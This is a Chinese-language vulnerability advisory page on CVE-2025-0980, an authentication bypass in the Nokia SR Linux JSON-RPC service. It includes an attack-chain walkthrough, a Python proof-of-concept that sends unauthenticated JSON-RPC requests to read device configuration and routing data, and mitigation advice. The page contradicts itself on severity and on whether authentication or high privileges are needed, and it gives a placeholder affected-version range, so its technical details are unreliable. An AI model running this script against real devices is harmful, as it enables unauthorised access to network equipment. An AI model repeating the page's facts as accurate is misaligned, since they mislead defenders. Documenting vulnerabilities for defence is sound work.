IPBUF安全漏洞报告
English
CVE-2025-0980 CVSS 6.4 中危

CVE-2025-0980 Nokia SR Linux JSON-RPC服务未授权访问漏洞

披露日期: 2026-01-07
来源: b48c3b8f-639e-4c16-8725-497bc411dad0

漏洞信息

漏洞编号
CVE-2025-0980
漏洞类型
认证绕过
CVSS评分
6.4 中危
攻击向量
本地 (AV:L)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Nokia SR Linux

相关标签

CVE-2025-0980认证绕过JSON-RPCNokia SR Linux未授权访问网络设备漏洞本地攻击权限提升

漏洞概述

CVE-2025-0980是Nokia SR Linux操作系统中的一个高危认证绕过漏洞。该漏洞存在于Nokia SR Linux的JSON-RPC服务接口中,由于认证验证机制存在缺陷,攻击者可以在未提供有效认证凭据的情况下访问JSON-RPC接口,从而执行未授权的操作。Nokia SR Linux是诺基亚面向数据中心的网络操作系统,广泛应用于运营商和企业网络环境。由于该漏洞允许攻击者绕过正常的身份验证流程,可能导致机密配置信息泄露、网络设备被恶意控制等严重后果。尽管CVSS评分为6.4(中等),但考虑到该漏洞影响网络核心设备且可导致机密性、完整性和可用性三个维度的高影响,实际危害不容忽视。攻击者利用该漏洞可获取设备配置信息、修改网络参数,甚至可能进一步渗透到整个网络环境。

技术细节

该漏洞的根本原因在于Nokia SR Linux的JSON-RPC服务在处理认证请求时存在验证缺陷。具体来说,系统对JSON-RPC请求中的认证令牌或会话验证逻辑处理不当,允许攻击者通过构造特定的请求绕过身份验证机制。攻击者只需向JSON-RPC服务端口发送精心构造的请求,即使不提供有效的认证凭据,也能获得服务响应。JSON-RPC是一种轻量级的远程过程调用协议,通常用于系统管理和配置操作。一旦攻击者成功绕过认证,他们可以调用各类管理接口,包括但不限于:获取系统配置信息、修改网络参数、查看路由表、访问用户数据等。该漏洞的利用需要攻击者具备本地访问能力(AV:L),这意味着攻击者需要在目标设备本地或通过其他方式获得网络访问权限。由于该漏洞影响的是核心网络操作系统,攻击成功后可能对整个网络基础设施造成严重影响。

攻击链分析

STEP 1
1
攻击者获得目标Nokia SR Linux设备的本地访问权限或网络访问路径
STEP 2
2
攻击者识别JSON-RPC服务端口(通常为8080或配置的自定义端口)
STEP 3
3
攻击者构造恶意的JSON-RPC请求,尝试绕过认证机制
STEP 4
4
由于认证验证缺陷,系统返回成功响应,攻击者获得未授权访问
STEP 5
5
攻击者利用获得的访问权限,调用管理接口获取敏感配置信息或修改系统参数
STEP 6
6
攻击者可进一步利用获取的信息进行横向移动或持久化控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-0980 PoC - Nokia SR Linux JSON-RPC Authentication Bypass Note: This PoC is for educational and authorized testing purposes only. """ import json import requests from requests.auth import HTTPBasicAuth TARGET_IP = "<target_ip>" TARGET_PORT = 8080 JSON_RPC_ENDPOINT = f"http://{TARGET_IP}:{TARGET_PORT}/jsonrpc" def check_vulnerability(): """ Check if the target is vulnerable to CVE-2025-0980 by attempting to access JSON-RPC without valid credentials. """ # Craft a JSON-RPC request to get system information payload = { "jsonrpc": "2.0", "method": "get", "params": { "path": "/system/name", "datastore": "running" }, "id": 1 } headers = { "Content-Type": "application/json", "User-Agent": "CVE-2025-0980-PoC" } try: # Attempt request without authentication response = requests.post( JSON_RPC_ENDPOINT, json=payload, headers=headers, timeout=10 ) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") # Check if we got a successful response without auth if response.status_code == 200: data = response.json() if 'result' in data or ('error' not in data): print("[!] VULNERABLE: JSON-RPC accessible without authentication!") return True print("[*] Target may not be vulnerable or is patched.") return False except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") return False def exploit_configuration_disclosure(): """ Exploit to retrieve sensitive configuration information. """ payloads = [ {"jsonrpc": "2.0", "method": "get", "params": {"path": "/system/name", "datastore": "running"}, "id": 1}, {"jsonrpc": "2.0", "method": "get", "params": {"path": "/interface", "datastore": "running"}, "id": 2}, {"jsonrpc": "2.0", "method": "get", "params": {"path": "/routing-table", "datastore": "running"}, "id": 3} ] for payload in payloads: try: response = requests.post( JSON_RPC_ENDPOINT, json=payload, headers={"Content-Type": "application/json"}, timeout=10 ) if response.status_code == 200: print(f"[*] Retrieved data for {payload['params']['path']}: {response.text}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": print("=" * 60) print("CVE-2025-0980 - Nokia SR Linux JSON-RPC Auth Bypass PoC") print("=" * 60) check_vulnerability()

影响范围

Nokia SR Linux < 特定修复版本

防御指南

临时缓解措施
如果无法立即应用官方补丁,可采取以下临时缓解措施:1) 通过ACL或防火墙规则限制对JSON-RPC服务端口的访问,仅允许可信管理IP访问;2) 禁用不必要的JSON-RPC接口或将其置于隔离的管理网络中;3) 启用详细的审计日志并设置异常访问告警;4) 使用VPN或跳板机进行设备管理,避免直接暴露管理接口;5) 监控网络流量,识别异常的JSON-RPC请求模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表